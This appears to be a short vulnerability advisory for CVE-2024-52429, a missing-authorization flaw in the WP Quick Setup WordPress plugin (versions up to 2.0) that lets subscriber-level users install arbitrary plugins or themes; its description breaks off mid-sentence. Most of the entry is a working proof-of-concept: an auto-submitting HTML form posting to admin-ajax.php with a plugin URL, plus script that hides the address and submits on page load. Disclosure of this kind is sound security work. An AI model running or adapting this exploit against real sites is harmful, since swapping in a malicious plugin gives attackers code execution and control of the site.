WP Quick Setup <= 2.0 - Missing Authorization to Authenticated (Subscriber+) Arbitrary Plugin/Theme Installation
The WP Quick Setup plugin for WordPress is vulnerable to unauthorized plugin and theme installation due to a missing capability check on a function in all versions up to, and including, 2.0. This makes it
Type: plugin
CVSS Score: 8.8
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CVE: CVE-2024-52429
Login as a subscriber then run this html
<html>
<body>
<form action="https://wp-dev.ddev.site/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="wes_install_plugins" />
<input type="hidden" name="plugin_urls[]" value="https://downloads.wordpress.org/plugin/wdes-responsive-mobile-menu.zip" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>